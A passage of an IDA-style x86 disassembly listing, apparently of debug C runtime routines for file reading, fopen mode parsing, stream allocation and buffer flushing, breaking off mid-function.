		mov	al, [edx+ecx+4]
		and	al, 0FBh
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, dword_4DE320[ecx*4]
		mov	[ecx+edx+4], al


loc_41FF8A:				; CODE XREF: sub_41FD80+1D2j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax


loc_41FF96:				; CODE XREF: sub_41FD80:loc_4201B0j
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_18]
		cmp	[ebp+var_4], ecx
		jnb	loc_4201B5
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 1Ah
		jnz	short loc_42000E
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 40h
		test	ecx, ecx
		jnz	short loc_420009
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DE320[edx*4]
		mov	dl, [ecx+eax+4]
		or	dl, 2
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, dword_4DE320[eax*4]
		mov	[eax+ecx+4], dl


loc_420009:				; CODE XREF: sub_41FD80+250j
		jmp	loc_4201B5
; ---------------------------------------------------------------------------


loc_42000E:				; CODE XREF: sub_41FD80+22Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jz	short loc_42003A
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_4201B0
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FD80+297j
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+edx-1]
		cmp	[ebp+var_4], ecx
		jnb	short loc_420090
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 0Ah
		jnz	short loc_42006F
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42008B
; ---------------------------------------------------------------------------


loc_42006F:				; CODE XREF: sub_41FD80+2D3j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42008B:				; CODE XREF: sub_41FD80+2EDj
		jmp	loc_4201B0
; ---------------------------------------------------------------------------


loc_420090:				; CODE XREF: sub_41FD80+2C7j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		push	0
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	dword_4E03B8	; ReadFile
		test	eax, eax
		jnz	short loc_4200D9
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax


loc_4200D9:				; CODE XREF: sub_41FD80+34Ej
		cmp	[ebp+var_8], 0
		jnz	short loc_4200E5
		cmp	[ebp+var_10], 0
		jnz	short loc_4200F9


loc_4200E5:				; CODE XREF: sub_41FD80+35Dj
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_4201B0
; ---------------------------------------------------------------------------


loc_4200F9:				; CODE XREF: sub_41FD80+363j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 48h
		test	eax, eax
		jz	short loc_420163
		movsx	ecx, [ebp+var_1C]
		cmp	ecx, 0Ah
		jnz	short loc_420135
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_420161
; ---------------------------------------------------------------------------


loc_420135:				; CODE XREF: sub_41FD80+3A2j
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		mov	al, [ebp+var_1C]
		mov	[edx+ecx+5], al


loc_420161:				; CODE XREF: sub_41FD80+3B3j
		jmp	short loc_4201B0
; ---------------------------------------------------------------------------


loc_420163:				; CODE XREF: sub_41FD80+399j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_420185
		movsx	edx, [ebp+var_1C]
		cmp	edx, 0Ah
		jnz	short loc_420185
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax],	0Ah
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_4201B0
; ---------------------------------------------------------------------------


loc_420185:				; CODE XREF: sub_41FD80+3E9j
					; sub_41FD80+3F2j
		push	1
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_426470
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		movsx	eax, [ebp+var_1C]
		cmp	eax, 0Ah
		jz	short loc_4201B0
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_4201B0:				; CODE XREF: sub_41FD80+2B5j
					; sub_41FD80:loc_42008Bj ...
		jmp	loc_41FF96
; ---------------------------------------------------------------------------


loc_4201B5:				; CODE XREF: sub_41FD80+21Fj
					; sub_41FD80:loc_420009j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax


loc_4201BE:				; CODE XREF: sub_41FD80+184j
		mov	eax, [ebp+var_18]


loc_4201C1:				; CODE XREF: sub_41FD80+3Dj
					; sub_41FD80+132j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41FD80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201D0	proc near		; CODE XREF: sub_4175E0+DBp

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4DE1C0
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0
		mov	[ebp+var_10], 0


loc_4201EF:				; CODE XREF: sub_4201D0+47j
		cmp	[ebp+arg_0], 0
		jnz	short loc_420213
		push	offset aFilenameNull ; "filename != NULL"
		push	0
		push	47h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_420213
		int	3		; Trap to Debugger


loc_420213:				; CODE XREF: sub_4201D0+23j
					; sub_4201D0+40j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4201EF


loc_420219:				; CODE XREF: sub_4201D0+71j
		cmp	[ebp+arg_4], 0
		jnz	short loc_42023D
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	48h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42023D
		int	3		; Trap to Debugger


loc_42023D:				; CODE XREF: sub_4201D0+4Dj
					; sub_4201D0+6Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_420219


loc_420243:				; CODE XREF: sub_4201D0+9Bj
		cmp	[ebp+arg_C], 0
		jnz	short loc_420267
		push	offset dword_4344AC
		push	0
		push	49h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_420267
		int	3		; Trap to Debugger


loc_420267:				; CODE XREF: sub_4201D0+77j
					; sub_4201D0+94j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420243
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[ebp+var_20], dl
		cmp	[ebp+var_20], 61h
		jz	short loc_4202AC
		cmp	[ebp+var_20], 72h
		jz	short loc_420289
		cmp	[ebp+var_20], 77h
		jz	short loc_42029A
		jmp	short loc_4202BE
; ---------------------------------------------------------------------------


loc_420289:				; CODE XREF: sub_4201D0+AFj
		mov	[ebp+var_14], 0
		mov	eax, [ebp+var_1C]
		or	al, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_4202C5
; ---------------------------------------------------------------------------


loc_42029A:				; CODE XREF: sub_4201D0+B5j
		mov	[ebp+var_14], 301h
		mov	ecx, [ebp+var_1C]
		or	ecx, 2
		mov	[ebp+var_1C], ecx
		jmp	short loc_4202C5
; ---------------------------------------------------------------------------


loc_4202AC:				; CODE XREF: sub_4201D0+A9j
		mov	[ebp+var_14], 109h
		mov	edx, [ebp+var_1C]
		or	edx, 2
		mov	[ebp+var_1C], edx
		jmp	short loc_4202C5
; ---------------------------------------------------------------------------


loc_4202BE:				; CODE XREF: sub_4201D0+B7j
		xor	eax, eax
		jmp	loc_4204E6
; ---------------------------------------------------------------------------


loc_4202C5:				; CODE XREF: sub_4201D0+C8j
					; sub_4201D0+DAj ...
		mov	[ebp+var_4], 1


loc_4202CC:				; CODE XREF: sub_4201D0:loc_42046Aj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	loc_42046F
		cmp	[ebp+var_4], 0
		jz	loc_42046F
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		sub	edx, 2Bh
		mov	[ebp+var_24], edx
		cmp	[ebp+var_24], 49h
		ja	loc_420463
		mov	ecx, [ebp+var_24]
		xor	eax, eax
		mov	al, byte_420515[ecx]
		jmp	off_4204ED[eax*4]


loc_42031B:				; DATA XREF: .data:off_4204EDo
		mov	edx, [ebp+var_14]
		and	edx, 2
		test	edx, edx
		jz	short loc_42032E
		mov	[ebp+var_4], 0
		jmp	short loc_420350
; ---------------------------------------------------------------------------


loc_42032E:				; CODE XREF: sub_4201D0+153j
		mov	eax, [ebp+var_14]
		or	al, 2
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_1C]
		or	dl, 80h
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		and	al, 0FCh
		mov	[ebp+var_1C], eax


loc_420350:				; CODE XREF: sub_4201D0+15Cj
		jmp	loc_42046A
; ---------------------------------------------------------------------------


loc_420355:				; CODE XREF: sub_4201D0+144j
					; DATA XREF: .data:00420501o
		mov	ecx, [ebp+var_14]
		and	ecx, 0C000h
		test	ecx, ecx
		jz	short loc_42036B
		mov	[ebp+var_4], 0
		jmp	short loc_420374
; ---------------------------------------------------------------------------


loc_42036B:				; CODE XREF: sub_4201D0+190j
		mov	edx, [ebp+var_14]
		or	dh, 80h
		mov	[ebp+var_14], edx


loc_420374:				; CODE XREF: sub_4201D0+199j
		jmp	loc_42046A
; ---------------------------------------------------------------------------


loc_420379:				; CODE XREF: sub_4201D0+144j
					; DATA XREF: .data:0042050Do
		mov	eax, [ebp+var_14]
		and	eax, 0C000h
		test	eax, eax
		jz	short loc_42038E
		mov	[ebp+var_4], 0
		jmp	short loc_420397
; ---------------------------------------------------------------------------


loc_42038E:				; CODE XREF: sub_4201D0+1B3j
		mov	ecx, [ebp+var_14]
		or	ch, 40h
		mov	[ebp+var_14], ecx


loc_420397:				; CODE XREF: sub_4201D0+1BCj
		jmp	loc_42046A
; ---------------------------------------------------------------------------


loc_42039C:				; CODE XREF: sub_4201D0+144j
					; DATA XREF: .data:00420505o
		cmp	[ebp+var_18], 0
		jz	short loc_4203AB
		mov	[ebp+var_4], 0
		jmp	short loc_4203BB
; ---------------------------------------------------------------------------


loc_4203AB:				; CODE XREF: sub_4201D0+1D0j
		mov	[ebp+var_18], 1
		mov	edx, [ebp+var_1C]
		or	dh, 40h
		mov	[ebp+var_1C], edx


loc_4203BB:				; CODE XREF: sub_4201D0+1D9j
		jmp	loc_42046A
; ---------------------------------------------------------------------------


loc_4203C0:				; CODE XREF: sub_4201D0+144j
					; DATA XREF: .data:00420509o
		cmp	[ebp+var_18], 0
		jz	short loc_4203CF
		mov	[ebp+var_4], 0
		jmp	short loc_4203DF
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_4201D0+1F4j
		mov	[ebp+var_18], 1
		mov	eax, [ebp+var_1C]
		and	ah, 0BFh
		mov	[ebp+var_1C], eax


loc_4203DF:				; CODE XREF: sub_4201D0+1FDj
		jmp	loc_42046A
; ---------------------------------------------------------------------------


loc_4203E4:				; CODE XREF: sub_4201D0+144j
					; DATA XREF: .data:004204F9o
		cmp	[ebp+var_10], 0
		jz	short loc_4203F3
		mov	[ebp+var_4], 0
		jmp	short loc_420403
; ---------------------------------------------------------------------------


loc_4203F3:				; CODE XREF: sub_4201D0+218j
		mov	[ebp+var_10], 1
		mov	ecx, [ebp+var_14]
		or	ecx, 20h
		mov	[ebp+var_14], ecx


loc_420403:				; CODE XREF: sub_4201D0+221j
		jmp	short loc_42046A
; ---------------------------------------------------------------------------


loc_420405:				; CODE XREF: sub_4201D0+144j
					; DATA XREF: .data:004204F5o
		cmp	[ebp+var_10], 0
		jz	short loc_420414
		mov	[ebp+var_4], 0
		jmp	short loc_420424
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4201D0+239j
		mov	[ebp+var_10], 1
		mov	edx, [ebp+var_14]
		or	edx, 10h
		mov	[ebp+var_14], edx


loc_420424:				; CODE XREF: sub_4201D0+242j
		jmp	short loc_42046A
; ---------------------------------------------------------------------------


loc_420426:				; CODE XREF: sub_4201D0+144j
					; DATA XREF: .data:004204FDo
		mov	eax, [ebp+var_14]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42043B
		mov	[ebp+var_4], 0
		jmp	short loc_420444
; ---------------------------------------------------------------------------


loc_42043B:				; CODE XREF: sub_4201D0+260j
		mov	ecx, [ebp+var_14]
		or	ch, 10h
		mov	[ebp+var_14], ecx


loc_420444:				; CODE XREF: sub_4201D0+269j
		jmp	short loc_42046A
; ---------------------------------------------------------------------------


loc_420446:				; CODE XREF: sub_4201D0+144j
					; DATA XREF: .data:004204F1o
		mov	edx, [ebp+var_14]
		and	edx, 40h
		test	edx, edx
		jz	short loc_420459
		mov	[ebp+var_4], 0
		jmp	short loc_420461
; ---------------------------------------------------------------------------


loc_420459:				; CODE XREF: sub_4201D0+27Ej
		mov	eax, [ebp+var_14]
		or	al, 40h
		mov	[ebp+var_14], eax


loc_420461:				; CODE XREF: sub_4201D0+287j
		jmp	short loc_42046A
; ---------------------------------------------------------------------------


loc_420463:				; CODE XREF: sub_4201D0+133j
					; sub_4201D0+144j
					; DATA XREF: ...
		mov	[ebp+var_4], 0


loc_42046A:				; CODE XREF: sub_4201D0:loc_420350j
					; sub_4201D0:loc_420374j ...
		jmp	loc_4202CC
; ---------------------------------------------------------------------------


loc_42046F:				; CODE XREF: sub_4201D0+10Dj
					; sub_4201D0+117j
		push	1A4h
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429E30
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_420495
		xor	eax, eax
		jmp	short loc_4204E6
; ---------------------------------------------------------------------------


loc_420495:				; CODE XREF: sub_4201D0+2BFj
		mov	ecx, dword_4DDFDC
		add	ecx, 1
		mov	dword_4DDFDC, ecx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_C]


loc_4204E6:				; CODE XREF: sub_4201D0+F0j
					; sub_4201D0+2C3j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4201D0	endp

; ---------------------------------------------------------------------------
off_4204ED	dd offset loc_42031B	; DATA XREF: sub_4201D0+144r
		dd offset loc_420446
		dd offset loc_420405
		dd offset loc_4203E4
		dd offset loc_420426
		dd offset loc_420355
		dd offset loc_42039C
		dd offset loc_4203C0
		dd offset loc_420379
		dd offset loc_420463
byte_420515	db 0			; DATA XREF: sub_4201D0+13Er
		dw 909h
		dd 5 dup(9090909h), 9010909h, 3	dup(9090909h), 9040302h
		dd 3 dup(9090909h), 9090605h, 2	dup(9090909h), 9090907h
		dd 0CC080909h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420560	proc near		; CODE XREF: sub_4175E0+B9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		push	2
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		jmp	short loc_420589
; ---------------------------------------------------------------------------


loc_420580:				; CODE XREF: sub_420560+A8j
					; sub_420560:loc_420689j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_420589:				; CODE XREF: sub_420560+1Ej
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DF680
		jge	loc_42068E
		mov	edx, [ebp+var_4]
		mov	eax, dword_4DE674
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_42061F
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DE674
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jnz	short loc_42061D
		mov	edx, [ebp+var_4]
		mov	eax, dword_4DE674
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41AE60
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4DE674
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_42060D
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DE674
		mov	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41AED0
		add	esp, 8
		jmp	loc_420580
; ---------------------------------------------------------------------------


loc_42060D:				; CODE XREF: sub_420560+8Dj
		mov	edx, [ebp+var_4]
		mov	eax, dword_4DE674
		mov	ecx, [eax+edx*4]
		mov	[ebp+var_8], ecx
		jmp	short loc_42068E
; ---------------------------------------------------------------------------


loc_42061D:				; CODE XREF: sub_420560+5Dj
		jmp	short loc_420689
; ---------------------------------------------------------------------------


loc_42061F:				; CODE XREF: sub_420560+44j
		push	55h
		push	offset aStream_c ; "stream.c"
		push	2
		push	38h
		call	sub_4150C0
		add	esp, 10h
		mov	edx, [ebp+var_4]
		mov	ecx, dword_4DE674
		mov	[ecx+edx*4], eax
		mov	edx, [ebp+var_4]
		mov	eax, dword_4DE674
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_420687
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DE674
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		call	dword_4E0470	; InitializeCriticalSection
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DE674
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		call	dword_4E03A8	; RtlEnterCriticalSection
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DE674
		mov	eax, [edx+ecx*4]
		mov	[ebp+var_8], eax


loc_420687:				; CODE XREF: sub_420560+EAj
		jmp	short loc_42068E
; ---------------------------------------------------------------------------


loc_420689:				; CODE XREF: sub_420560:loc_42061Dj
		jmp	loc_420580
; ---------------------------------------------------------------------------


loc_42068E:				; CODE XREF: sub_420560+32j
					; sub_420560+BBj ...
		cmp	[ebp+var_8], 0
		jz	short loc_4206CF
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+10h], 0FFFFFFFFh


loc_4206CF:				; CODE XREF: sub_420560+132j
		push	2
		call	sub_41BD20
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_420560	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E0	proc near		; CODE XREF: .data:00417A5Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4206F9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4206F9:				; CODE XREF: sub_4206E0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4206E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420720	proc near		; CODE XREF: sub_417CB0+E5p
					; sub_417E80+E4p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi


loc_420729:				; CODE XREF: sub_420720+31j
		cmp	[ebp+arg_4], 0
		jnz	short loc_42074D
		push	offset dword_4344AC
		push	0
		push	69h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42074D
		int	3		; Trap to Debugger


loc_42074D:				; CODE XREF: sub_420720+Dj
					; sub_420720+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420729
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 82h
		test	edx, edx
		jz	short loc_42077F
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 40h
		test	ecx, ecx
		jz	short loc_420795


loc_42077F:				; CODE XREF: sub_420720+50j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_8]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_42098D
; ---------------------------------------------------------------------------


loc_420795:				; CODE XREF: sub_420720+5Dj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_4207EC
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 10h
		test	eax, eax
		jz	short loc_4207D5
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFFEh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		jmp	short loc_4207EC
; ---------------------------------------------------------------------------


loc_4207D5:				; CODE XREF: sub_420720+97j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		or	eax, 0FFFFFFFFh
		jmp	loc_42098D
; ---------------------------------------------------------------------------


loc_4207EC:				; CODE XREF: sub_420720+80j
					; sub_420720+B3j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jnz	short loc_42085F
		cmp	[ebp+var_8], offset dword_444EF8
		jz	short loc_420843
		cmp	[ebp+var_8], offset dword_444F18
		jnz	short loc_420853


loc_420843:				; CODE XREF: sub_420720+118j
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_42A390
		add	esp, 4
		test	eax, eax
		jnz	short loc_42085F


loc_420853:				; CODE XREF: sub_420720+121j
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_429D20
		add	esp, 4


loc_42085F:				; CODE XREF: sub_420720+10Fj
					; sub_420720+131j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jz	loc_42094B


loc_420873:				; CODE XREF: sub_420720+187j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		test	edx, edx
		jge	short loc_4208A3
		push	offset aInconsistentIo ; "(\"inconsistent IOB fields\",	stream->_pt"...
		push	0
		push	0A0h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4208A3
		int	3		; Trap to Debugger


loc_4208A3:				; CODE XREF: sub_420720+160j
					; sub_420720+180j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420873
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [ecx]
		sub	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+18h]
		sub	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax+4], edx
		cmp	[ebp+var_4], 0
		jle	short loc_4208F6
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_426840
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		jmp	short loc_42093E
; ---------------------------------------------------------------------------


loc_4208F6:				; CODE XREF: sub_420720+1B8j
		cmp	[ebp+var_10], 0FFFFFFFFh
		jz	short loc_420919
		mov	edx, [ebp+var_10]
		sar	edx, 5
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DE320[edx*4]
		add	ecx, eax
		mov	[ebp+var_14], ecx
		jmp	short loc_420920
; ---------------------------------------------------------------------------


loc_420919:				; CODE XREF: sub_420720+1DAj
		mov	[ebp+var_14], offset dword_447A30


loc_420920:				; CODE XREF: sub_420720+1F7j
		mov	edx, [ebp+var_14]
		movsx	eax, byte ptr [edx+4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_42093E
		push	2
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
